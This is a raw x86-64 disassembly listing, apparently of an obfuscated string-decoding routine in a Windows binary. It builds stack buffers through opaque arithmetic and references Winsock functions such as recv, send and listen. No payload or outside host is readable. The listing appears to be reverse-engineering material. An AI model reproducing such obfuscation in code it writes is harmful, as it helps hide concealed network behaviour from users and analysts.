jne 0x1401084ea
lea edx, [r9 + 0x60]
mov ecx, Ordinal_50
jmp 0x140108622
mov r10b, r9b
lea edx, [r10 - 0x58]
mov al, dl
and al, r8b
mov cl, byte [rbp + r9 + 0x450]
sub cl, al
add cl, 0x34
lea ebx, [rcx + rcx]
add bl, dl
sub r10b, 0xf
mov al, r8b
and al, r10b
add al, al
sub r8b, al
add r8b, 0x69
add r8b, r10b
add r8b, bl
mov byte [rbp + r9 + 0x450], r8b
jmp 0x1401089b6
mov r10b, r9b
lea edx, [r10 + 0x3a]
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1401088bd
lea ecx, [r9 + 0x1f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x27
jmp 0x140108a00
mov r10b, r9b
lea ecx, [r10 - 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x23
sub r10b, r14b
mov al, r8b
and al, r10b
add al, al
mov cl, r8b
sub cl, al
add cl, 0x6b
add cl, r10b
movzx eax, cl
mov byte [rbp + r9 + 0x450], al
add r11, rsi
add rax, r11
sub r9, rax
lea edx, [r9 - 0x34]
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x450], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140108a00
lea ecx, [r9 + 0x69]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x21
jmp 0x1401089d6
lea ecx, [r9 - 0x4d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x1b
jmp 0x14010899d
mov r10b, r9b
lea ecx, [r10 - 0x71]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x17
jmp 0x140108977
mov r10b, r9b
lea ecx, [r10 + 0x6b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x13
add r10b, 0x5f
mov al, r8b
and al, r10b
add al, al
sub r8b, al
add r8b, 0x67
add r8b, r10b
mov byte [rbp + r9 + 0x450], r8b
mov esi, 1
add r11, rsi
sub r9, rsi
jmp 0x140108a0f
lea ecx, [r9 + 0x23]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0xb
add rdi, r11
jmp 0x1401089d6
movabs rcx, 0xf68cc1c92268c491
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 9
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140108a0f
movabs rcx, 0xa784409860cd96db
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
add bl, 3
movzx eax, byte [rbp + r9 + 0x450]
add rax, r11
add r9, rax
inc r9
jmp 0x1401080d5
sub r9b, 0x13
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x7b
jmp 0x1401080d2
add r9b, 0x5b
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, r14b
jmp 0x1401080c2
mov eax, dword [rbp + 0x175cd5c]
jmp 0x140108a63
mov eax, dword [rbp + 0x164ffa5]
jmp 0x140108a63
mov eax, dword [rbp + 0x450]
mov dword [0x14017bef0], eax
mov sil, 0x54
mov byte [rbp + 0x470], sil
mov byte [rbp + 0x471], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x472], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x473], reloc.WS2_32.dll_send
mov byte [rbp + 0x474], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x475], 0xa9
xorps xmm0, xmm0
movups xmmword [rbp + 0x476], xmm0
mov bl, byte [rsp + 0x50]
mov r14b, 0x57
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r11, qword [rax]
mov r9, r12
mov r15d, 1
cmp r9, 0x16
jae 0x1401094a4
movzx r8d, byte [rbp + r9 + 0x470]
mov rdx, r8
cmp rdi, r9
ja 0x14010949b
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140108b0a
movabs rcx, 0x9f160293a55b7fc5
add rcx, r9
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0x63
jmp 0x140108b44
je 0x14010942a
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401093b4
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140109366
lea rax, [r11 + 4]
cmp rdi, rax
je 0x140109349
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14010930e
cmp r11, r9
ja 0x140109492
lea rax, [r11 + 0xa]
cmp rdi, rax
jae 0x140108b6c
lea ecx, [r9 + 0x29]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1f
jmp 0x140108ba0
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401092f6
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401092df
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401092c4
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401092aa
lea rax, [r11 + rdi]
cmp rax, r9
jbe 0x140109060
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x140109040
lea rax, [r11 + 9]
cmp rdi, rax
je 0x140109027
lea rax, [r11 + 0x80]
cmp rdi, rax
je 0x14010900e
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x140108fee
lea rax, [r11 + 0x42]
cmp rdi, rax
je 0x140108fd1
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x140108fb8
lea rax, [r11 + 0x61]
cmp rdi, rax
je 0x140108f9f
lea rax, [r11 + 0x1000]
cmp rdi, rax
je 0x140108f82
lea rax, [r11 + 0x400]
cmp rdi, rax
je 0x140108f65
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x140108bad
lea rdi, [r11 + 0x7a]
lea r11, [rdi + 1]
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x140109477
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x14010945c
lea rax, [r11 + 3]
cmp rdi, rax
jb 0x140108d94
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x140108d7b
lea rax, [r11 + 1]
cmp rdi, rax
jb 0x140108d62
lea rcx, [r11 + 0xa]
cmp rdi, rcx
jb 0x140108f20
lea rax, [r11 + 9]
cmp rdi, rax
jb 0x140108ed8
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x140108e9c
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x140108e7b
lea rax, [r11 + 5]
cmp rdi, rax
jb 0x140108bad
mov rdi, rcx
lea r11, [rcx + 0x40]
lea rax, [r11 + 9]
cmp rcx, rax
ja 0x140108e6d
lea rax, [r11 + 0x80]
cmp rcx, rax
ja 0x140108e5f
lea rax, [r11 + 0x64]
cmp rcx, rax
ja 0x140108e46
lea rax, [r11 + 0x42]
cmp rcx, rax
ja 0x140108e2d
lea rax, [r11 + 0x40]
cmp rcx, rax
ja 0x140108e1f
lea rcx, [r11 + 0x61]
cmp rdi, rcx
ja 0x140108dff
lea rax, [r11 + 0x1000]
cmp rdi, rax
ja 0x140108de6
lea rax, [r11 + 0x400]
cmp rdi, rax
ja 0x140108dcd
lea rax, [r11 + 0x3e8]
cmp rdi, rax
ja 0x140108dad
lea rax, [r11 + 1]
cmp rdi, rax
ja 0x140108bad
mov rdi, rcx
lea r11, [rcx + 0x2a]
jmp 0x140108bad
lea ecx, [r9 - 9]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x3f
jmp 0x140108ba0
lea ecx, [r9 + 0x6d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 5
jmp 0x140108b44
lea ecx, [r9 - 0x1d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x35
jmp 0x140108ad3
lea edx, [r9 + 0x48]
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov r10b, r9b
jmp 0x140109326
lea ecx, [r9 - 0x42]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x140109344
lea ecx, [r9 + 0x34]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x14010935e
lea edx, [r9 - 0x56]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov r10b, r9b
jmp 0x14010937e
lea edx, [r9 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140108fda
lea ecx, [r9 - 0x6a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x1401093a2
lea ecx, [r9 + 0xc]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, sil
jmp 0x1401093d3
lea edx, [r9 - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
jmp 0x140108f8b
lea edx, [r9 - 8]
mov ecx, Ordinal_32
jmp 0x140108f6e
lea ecx, [r9 + 0x1f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x27
mov byte [rbp + r9 + 0x470], bl
jmp 0x140109454
lea ecx, [r9 - 0x6b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x13
cmp r11, 4
jb 0x140108e8f
mov r10b, r9b
lea edx, [r10 + 0x7e]
mov al, r8b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140109326
lea ecx, [r9 + 0xb]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4d
cmp rdi, 0x200
jae 0x14010926b
lea rax, [r11 + 0x61]
cmp rdi, rax
jbe 0x1401091b0
lea edx, [r9 + 0x1a]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140108eb0
lea ecx, [r9 - 0x7f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x79
lea rax, [r11 + rdi]
cmp rax, 5
je 0x140109292
lea rax, [r11 + 0xa]
cmp rdi, rax
jbe 0x14010911d
lea ecx, [r9 - 0xf]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x69
jmp 0x140108eec
lea edx, [r9 - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140109445
lea edx, [r9 + 0x6c]
mov ecx, 6
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401093fc
lea ecx, [r9 - 0x1e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2e
jmp 0x1401093d3
lea ecx, [r9 + 0x58]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x1401093a2
lea edx, [r9 - 0x32]
mov ecx, Ordinal_50
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010939f
mov r10b, r9b
lea edx, [r10 + 0x44]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010937e
lea ecx, [r9 - 0x46]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x16
jmp 0x14010935e
lea ecx, [r9 + 0x30]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x140109344
mov r10b, r9b
lea edx, [r10 - 0x5a]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140109326
lea rax, [r11 + 0x200]
cmp rdi, rax
jae 0x140109085
lea ecx, [r9 - 0x3b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x63
jmp 0x140108f34
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401090a7
lea ecx, [r9 + 0x52]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3e
jmp 0x140109445
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401090cd
lea edx, [r9 + 0x66]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401093d3
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401090f3
lea edx, [r9 - 0x10]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401093a2
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x140108f34
lea edx, [r9 - 0x72]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010935e
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140109142
mov r10b, r9b
lea ecx, [r10 + 0x7b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5d
jmp 0x140109326
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140109164
lea ecx, [r9 - 0x71]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x17
jmp 0x14010935e
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140109189
mov r10b, r9b
lea ecx, [r10 + 0x19]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x51
jmp 0x14010937e
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140108eec
lea ecx, [r9 - 0x5d]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x75
jmp 0x14010939f
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401091d3
lea ecx, [r9 - 0x5c]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7c
jmp 0x140109445
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401091f4
lea edx, [r9 - 0x48]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 8
jmp 0x1401092a3
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14010921a
lea edx, [r9 + 0x42]
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401093a2
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x140109240
lea edx, [r9 + 0x6a]
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140109344
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140108eb0
mov r10b, r9b
lea edx, [r10 - 0xc]
mov al, r8b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140109324
mov r10b, r9b
mov edx, 8
add edx, r10d
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x470]
sub bl, al
sub bl, 0x38
add bl, r8b
jmp 0x14010937c
lea edx, [r9 - 0x6e]
mov al, r8b
and al, dl
mov ecx, r15d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1401093d3
lea ecx, [r9 - 0x25]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 3
jmp 0x14010939f
mov r10b, r9b
lea edx, [r10 + 0x51]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x37
jmp 0x14010937c
lea ecx, [r9 - 0x39]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x71
jmp 0x14010935e
mov r10b, r9b
lea edx, [r10 - 0x4d]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x1b
jmp 0x140109324
mov r10b, r9b
lea edx, [r10 - 0x61]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x59
add bl, dl
add r10b, 0x43
mov al, r8b
and al, r10b
add al, al
sub r8b, al
add r8b, 0x2b
add r8b, r10b
mov byte [rbp + r9 + 0x470], r8b
add r11, r15
jmp 0x14010935e
lea ecx, [r9 - 0x75]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x33
sub r9, r15
jmp 0x140109454
mov r10b, r9b
lea edx, [r15 + r10]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 7
add bl, dl
sub r10b, 0x33
mov al, r8b
and al, r10b
add al, al
mov cl, bl
sub cl, al
add cl, 0x65
add cl, r8b
add cl, r10b
mov byte [rbp + r9 + 0x470], cl
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140109454
movabs rcx, 0x599a120985807e63
add rcx, r9
mov r8b, dl
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x4b
lea edx, [r14 + r9]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x61
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x470], al
add r11, r15
add rax, r11
sub r9, rax
lea edx, [r9 + 0x1c]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x470], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140109445
movabs rcx, 0xdd4207baf0127f4f
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x29
movzx eax, byte [rbp + r9 + 0x470]
add rax, r11
add r9, rax
add r9, r15
jmp 0x140108ac0
add r9b, 0x59
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x6f
jmp 0x140108ab7
sub r9b, 0x31
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, r14b
jmp 0x140108aa7
lea rcx, [rbp + 0x179dccc]
jmp 0x1401094ab
lea rcx, [rbp + 0x1555c91]
jmp 0x1401094ab
lea rcx, [rbp + 0x470]
xor edx, edx
call fcn.1401405d8
test al, al
je 0x14010a9bd
mov byte [rbp + 0x4b0], 0x66
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4b1], xmm0
mov word [rbp + 0x4c1], ax
mov dil, byte [rsp + 0x50]
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r11, qword [rax]
mov r9, r12
cmp r9, 0x13
jae 0x140109cf3
movzx r8d, byte [rbp + r9 + 0x4b0]
mov edx, r8d
cmp rbx, r9
ja 0x140109cea
lea rax, [r11 + 1]
cmp rbx, rax
jae 0x140109536
movabs rcx, 0x352ddab4aac75631
add rcx, r9
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, r14b
jmp 0x140109570
je 0x140109c92
lea rax, [r11 + 2]
cmp rbx, rax
je 0x140109c44
lea rax, [r11 + 5]
cmp rbx, rax
je 0x140109c1c
lea rax, [r11 + 3]
cmp rbx, rax
je 0x140109bff
lea rax, [r11 + 4]
cmp rbx, rax
je 0x140109be5
cmp r11, r9
ja 0x140109ce1
lea rax, [r11 + 0x28]
cmp rbx, rax
jae 0x140109599
lea ecx, [r9 + 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x23
jmp 0x1401095da
lea rax, [r11 + 1]
cmp rbx, rax
je 0x140109bae
lea rax, [r11 + 2]
cmp rbx, rax
je 0x140109b97
lea rax, [r11 + 6]
cmp rbx, rax
je 0x140109b7d
lea rax, [r11 + 4]
cmp rbx, rax
je 0x140109b35
lea rax, [r11 + 3]
cmp rbx, rax
je 0x140109b1b
lea rax, [r11 + rbx]
cmp rax, r9
jbe 0x14010986b
lea rax, [r11 + 0x5a]
cmp rbx, rax
je 0x14010984e
lea rax, [r11 + 9]
cmp rbx, rax
je 0x140109834
lea rax, [r11 + 0x200]
cmp rbx, rax
je 0x14010981a
lea rax, [r11 + 1]
cmp rbx, rax
je 0x1401097fd
lea rax, [r11 + 0x10]
cmp rbx, rax
je 0x1401095e7
mov rbx, rax
lea r11, [rax + 0x10]
lea rax, [r11 + 0x400]
cmp rbx, rax
jb 0x140109cc5
lea rax, [r11 + 3]
cmp rbx, rax
jb 0x1401096af
lea rax, [r11 + 0x28]
cmp rbx, rax
jb 0x14010975a
lea rax, [r11 + 0x61]
cmp rbx, rax
jb 0x140109738
mov rbx, rax
lea r11, [rax + 5]
lea rax, [r11 + 5]
cmp rbx, rax
ja 0x14010971a
lea rax, [r11 + 0x42]
cmp rbx, rax
ja 0x1401096fd
lea rax, [r11 + 0x41]
cmp rbx, rax
ja 0x1401096e3
lea rax, [r11 + 8]
cmp rbx, rax
ja 0x1401096c9
lea rax, [r11 + 0x80]
cmp rbx, rax
ja 0x1401095e7
mov rbx, rax
lea r11, [rax + 0x80]
jmp 0x1401095e7
lea ecx, [r9 + 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x71
jmp 0x140109570
lea ecx, [r9 - 0x3a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x140109bfa
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x140109c31
lea ecx, [r9 - 0x24]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
mov r10b, r9b
jmp 0x140109b4d
lea edx, [r9 + 0x18]
mov ecx, Ordinal_45
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140109cae
lea ecx, [r9 + 0x23]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0xb
mov byte [rbp + r9 + 0x4b0], dil
jmp 0x140109cbd
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x15
lea rax, [r11 + rbx]
cmp rax, 0xa
je 0x140109af9
lea rax, [r11 + 0xa]
cmp rbx, rax
jbe 0x140109954
lea ecx, [r9 - 0x53]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x45
cmp rbx, 0x1000
jae 0x140109ab0
lea rax, [r11 + 0x1000]
cmp rbx, rax
jbe 0x1401099ed
lea edx, [r9 - 0x4e]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r11, 6
jb 0x14010974d
mov r10b, r9b
lea ecx, [r10 - 0x7a]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx + rcx]
sub dil, sil
jmp 0x140109bc6
mov r10b, r9b
lea ecx, [r10 + 0x5a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x76
jmp 0x140109b4d
lea ecx, [r9 - 0x6a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x140109c31
lea ecx, [r9 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x140109bfa
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x62
mov r10b, r9b
jmp 0x140109bc6
lea rax, [r11 + 0x41]
cmp rbx, rax
jae 0x14010988d
lea ecx, [r9 + 0x31]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x14010976f
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x1401098b0
lea ecx, [r9 + 0xa]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x46
jmp 0x140109cae
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x1401098d7
lea edx, [r9 + 0x6c]
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140109c62
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x140109901
mov r10b, r9b
lea edx, [r10 - 0x32]
mov ecx, Ordinal_50
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140109b4d
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x140109926
lea edx, [r9 - 0x6e]
mov al, dl
and al, r8b
mov ecx, r15d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140109c31
lea rax, [r11 + 7]
cmp rbx, rax
jne 0x14010976f
mov r10b, r9b
lea edx, [r10 + 0x1a]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140109bc6
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x14010997a
mov r10b, r9b
lea ecx, [r10 + 0xf]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x69
jmp 0x140109bc6
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x14010999d
lea ecx, [r9 - 0x2d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x3b
jmp 0x140109c14
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x1401099c3
lea ecx, [r9 + 0x35]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x73
mov r10b, r9b
jmp 0x140109ad3
lea rax, [r11 + 5]
cmp rbx, rax
jne 0x14010979f
mov r10b, r9b
lea ecx, [r10 + 0x5b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7d
jmp 0x140109b4d
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x140109a04
lea edx, [r9 + 0x14]
mov ecx, Ordinal_60
jmp 0x140109723
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x140109a1e
mov r10b, r9b
lea edx, [r10 - 0x28]
mov ecx, ntohs
jmp 0x1401098ec
lea rax, [r11 + 5]
cmp rbx, rax
jne 0x140109a41
lea ecx, [r9 - 0x64]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
jmp 0x140109c31
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x140109a62
mov r10b, r9b
lea edx, [r10 - 2]
mov al, dl
and al, r8b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140109acd
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x140109a89
lea edx, [r9 + 0x60]
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140109c14
lea rax, [r11 + 7]
cmp rbx, rax
jne 0x1401097d5
lea ecx, [r9 - 0x3e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4e
jmp 0x140109bfa
mov r10b, r9b
lea edx, [r10 - 0x18]
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x4b0]
sub dil, al
sub dil, 0x58
add dil, dl
add dil, r8b
add r10b, 0x19
mov al, r10b
and al, r8b
add al, al
sub r10b, al
add r10b, 0x51
add r10b, dil
add r10b, r8b
mov byte [rbp + r9 + 0x4b0], r10b
jmp 0x140109c31
mov r10b, r9b
lea ecx, [r10 + 0x4a]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x4b0]
lea edi, [r8 + rcx]
sub dil, 6
jmp 0x140109b4d
lea ecx, [r9 + 0x15]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x6d
jmp 0x140109c62
mov r10b, r9b
lea ecx, [r10 - 0x4d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x1b
